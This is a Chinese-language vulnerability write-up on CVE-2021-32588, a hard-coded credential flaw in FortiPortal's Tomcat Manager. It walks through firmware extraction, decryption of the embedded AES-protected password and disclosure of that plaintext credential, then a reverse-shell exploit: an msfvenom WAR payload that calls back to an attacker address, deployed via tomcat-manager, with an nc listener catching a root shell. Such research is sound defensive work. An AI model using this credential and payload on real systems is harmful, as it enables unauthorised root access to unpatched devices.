CVE-2021-32588

Catalpa 网络安全爱好者

披露信息:https://www.fortiguard.com/psirt/FG-IR-21-077

漏洞编号:CVE-2021-32588

漏洞描述:A use of hard-coded credentials (CWE-798) vulnerability in FortiPortal may allow a remote and unauthenticated attacker to execute unauthorized commands as root by uploading and deploying malicious web application archive files using the default hard-coded Tomcat Manager username and password.

环境搭建

下载 6.0.4 和 6.0.5 两个版本,导入 6.0.4 镜像到 VMware,启动后发现控制台输出错误信息

1
2
The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server..
db_Migration failed. Going to prevent fpc web app from launching.

这里提示链接数据库服务器失败,查阅官网手册发现需要手动配置一台数据库服务器,具体步骤可参考[官网文档](Administration Guide | FortiPortal 6.0.5 | Fortinet Documentation Library )。

配置好数据库服务器后,需要对虚拟机的网络等进行配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
admin 空密码登录系统
config system interface 进入网卡配置选项
edit port1 编辑 port1 网卡
set ip 192.168.0.200/24 设置网卡 ip 为 192.168.0.200,掩码 255.255.255.0
set allowaccess ping https ssh http 设置网卡允许 ssh、http、ping https 协议
end

config system route 进入路由配置选项
edit 1 编辑条目 1
set device port1 设置网卡 port1
set gateway 192.168.0.1 设置网关地址 192.168.0.1
end

config system sql 进入数据库配置选项
set status remote 设置数据库服务为远程
set database-name fp_fazlite 设置数据库名
set database-type mysql 设置数据库类型
set database-port 3306 设置数据库服务器端口
set username fpc 设置 mysql 用户名
set password xyz mysql 密码
set server 192.168.0.163 设置数据库服务器地址
end

配置好后重启虚拟机。

在数据库服务器登录 mysql,执行以下语句来查看是否配置成功

1
select * from ftntpmcdb.fpc_version;

结果中输出了版本信息即可。

此时可通过刚刚配置的 IP 来访问 web 服务。

固件获取

fortiportal 本身不提供 Linux shell,我们需要想办法拿到设备固件。首先找到导入的虚拟磁盘,对其进行解压。

1
PS:如果是在 Windows 环境下,建议安装 7-zip 软件,安装后直接右键虚拟磁盘,选择使用 7-zip 打开即可看到内容。

解压可得到一个 rootfs.gz 文件,解包后获取到根文件系统,但是此时文件系统中缺失了大部分数据,在根目录下能找到三个压缩包: bin.tar.xz、lib.tar.xz、usr.tar.xz

直接使用 tar 等工具不能解压这三个文件,猜测设备在初始化过程中会进一步对这些文件进行处理。

考虑到 Linux 系统的启动流程,内核初始化完成之后会进入 init_post 函数,在这里将控制流移交给用户空间进程,包括 /sbin/init、/etc/init、/bin/init、/bin/sh。

此时可以参考文章,通过虚拟机调试的方法尝试获取 shell,但这里我们有更简单的方法。

在解压出来的根文件系统中寻找上述的四个初始化程序,在 /bin 目录下发现只有一个 init 文件。

IDA 打开分析,其主函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int sub_804A4A2()
{
char v1; // [esp-4h] [ebp-24h]
char v2; // [esp-4h] [ebp-24h]
char v3; // [esp-4h] [ebp-24h]
char v4; // [esp-4h] [ebp-24h]
int v5[2]; // [esp+14h] [ebp-Ch] BYREF

if ( init_loader_decompress_dir("lib", 0) >= 0 )
{
if ( init_loader_decompress_dir("bin", 0) >= 0 )
{
if ( init_loader_decompress_dir("usr", 0) >= 0 )
{
if ( init_loader_decompress_dir("etc/dm/syntax/syntax", 1) < 0 )
sub_804A316("Decompress syntax error, image error\n", v4);
v5[0] = "/bin/init";
v5[1] = 0;
sub_807EB00("/bin/init", v5, 0);
}
else
{
sub_804A316("Decompress usr error, image error\n", v3);
}
}
else
{
sub_804A316("Decompress bin error, image error\n", v2);
}
}
else
{
sub_804A316("Decompress lib error, image error\n", v1);
}
return 0;
}

这段代码看起来是对根目录下的三个压缩包实现解压,由于该程序为 x86 架构,可以直接在虚拟机中运行,执行以下命令实现对根目录的完全解压

1
sudo chroot . ./bin/init

执行后等待程序运行完毕,即可看到释放出了完整的 /bin、/lib 和 /usr 目录。

在 /usr/local/tomcat 目录发现关键文件。

漏洞分析

解包 6.0.4 和 6.0.5 两个版本的固件,进行补丁对比,发现新版中移除了 webapps 下的 manager 目录,经调查,此目录就是漏洞披露信息中提到的 Tomcat Manager 组件。

Tomcat Manager 会去 conf/tomcat-users.xml 文件中读取用户信息,查看此文件发现以下记录

1
2
<role rolename="manager-script"/>
<user username="fpcadmin" password="046ed5f485431c63$1000$63da3a538f1f15aea922875fd1e2c5645629ff3d24997bb3f978ad2538921168" roles="manager-script"/>

说明在默认配置下存在一个名为 fpcadmin 的 manager-script 用户,此用户无法访问 GUI 界面,但是可以通过直接调用接口实现诸多功能。

首先要解决密码的问题,Tomcat Manager 官方文档中提到为了安全性,tomcat-users.xml 中的用户密码允许进行加密,防止密码泄露。通过全局搜索,在名为 FpcReloadTomcatApp.class 类中找到对 fpcadmin 用户操作的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public boolean reloadTomcatApp()
{
StringBuffer curlForReload = new StringBuffer();
curlForReload
.append("curl -k -u fpcadmin:")
.append(CipherUtils.decryptString("y542PfTSFP9E2mZ6SfBaIK4Y8OIEV3HyiBDBUjSQXB4="))
.append(" https://localhost/manager/text/reload?path=/fpc");
log.info("execute curl for tomacat reload start " + Thread.currentThread().getName());
try
{
String output = executeRequest(curlForReload.toString());
log.info("Tomcat reload context 'fpc' result: " + output);
return (output != null) && (output.contains("OK")) && (output.contains("fpc"));
}
catch (Exception ex)
{
String failedMessage = "reload context 'fpc' failed. details in log. restart Tomcat server to make SAML update in effect.";

log.error(failedMessage, ex);
}
return false;
}

Tomcat 重新加载时,会使用 curl 命令调用 Tomcat Manager 的 reload 接口,其中使用了 fpcadmin 的密码。

先使用 decryptString 函数对其解密,解密函数关键代码

1
2
3
4
5
6
7
8
9
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
byte[] iv = new byte[cipher.getBlockSize()];
pSpec = new IvParameterSpec(iv);
cipher.init(2, secretKey, pSpec);

String decryptedString = new String(cipher.doFinal(Base64.decodeBase64(stringToDecrypt)));
log.debug("decrypt string");
return decryptedString;

decryptString 使用 AES 算法对密码进行解密,key 被定义为成员变量

1
public static final byte[] key = { Byte.MAX_VALUE, 34, -24, -72, -95, 31, -10, -7, 74, 78, -74, -26, -63, -48, -7, -10 };

所以我们可以编写代码对其中的密码进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.spec.AlgorithmParameterSpec;
import java.util.Base64;

public class dec{
public static final byte[] key = { Byte.MAX_VALUE, 34, -24, -72, -95, 31, -10, -7, 74, 78, -74, -26, -63, -48, -7, -10 };
private static AlgorithmParameterSpec pSpec = null;
public static void main(String[] args) throws Exception {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
byte[] iv = new byte[cipher.getBlockSize()];
pSpec = new IvParameterSpec(iv);
cipher.init(2, secretKey, pSpec);

String decryptedString = new String(cipher.doFinal(Base64.getDecoder().decode("y542PfTSFP9E2mZ6SfBaIK4Y8OIEV3HyiBDBUjSQXB4=")));
System.out.println(decryptedString); // fortinet@FPC#12345
}
}

最终得到明文密码:fortinet@FPC#12345

用账号 fpcadmin:fortinet@FPC#12345 即可登录 Tomcat Manager,并且访问后台接口。

获取 shell

得到后台权限后可以进一步获取 root shell,我们使用工具 tomcatmanager ,先修改 tomcat_manager.py 第 535 行 requests.put 代码,添加参数 verify=False 防止 python SSL 证书报错。

首先用 msf 生成 war 木马

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.160  LPORT=13337 -f war > shell.war

tomcat-manager 链接到目标,密码:fortinet@FPC#12345

1
2
3
4
tomcat-manager> connect https://192.168.0.200/manager fpcadmin --noverify
Password:
--connected to https://192.168.0.200/manager as fpcadmin
--tomcat version: [Apache Tomcat/9.0.44]

利用 deploy 接口部署木马

1
tomcat-manager> deploy local ./shell.war /rce

部署后可通过 list 命令查看是否部署成功

1
2
3
4
5
6
7
tomcat-manager> list
Path State Sessions Directory
------------------------ ------- -------- ------------------------------------
/ running 2 ROOT
/fpc running 1 fpc
/manager running 0 manager
/rce running 0 rce

我们看到列表中出现了刚刚部署的木马,对应路由为 /rce

在攻击端监听端口 13337,然后访问 /rce 接口,即可获取到 root shell

1
2
3
4
5
6
7
8
➜  Desktop nc -lnvp 13337                    
Listening on 0.0.0.0 13337
Connection received on 192.168.0.200 46194
uname -a
Linux FPCVM64 2.6.36.3 #1 SMP Wed May 19 10:33:07 PDT 2021 x86_64 GNU/Linux

whoami
root
  • Title: CVE-2021-32588
  • Author: Catalpa
  • Created at : 2021-09-02 00:00:00
  • Updated at : 2024-10-17 08:46:33
  • Link: https://wzt.ac.cn/2021/09/02/CVE-2021-32588/
  • License: This work is licensed under CC BY-NC-SA 4.0.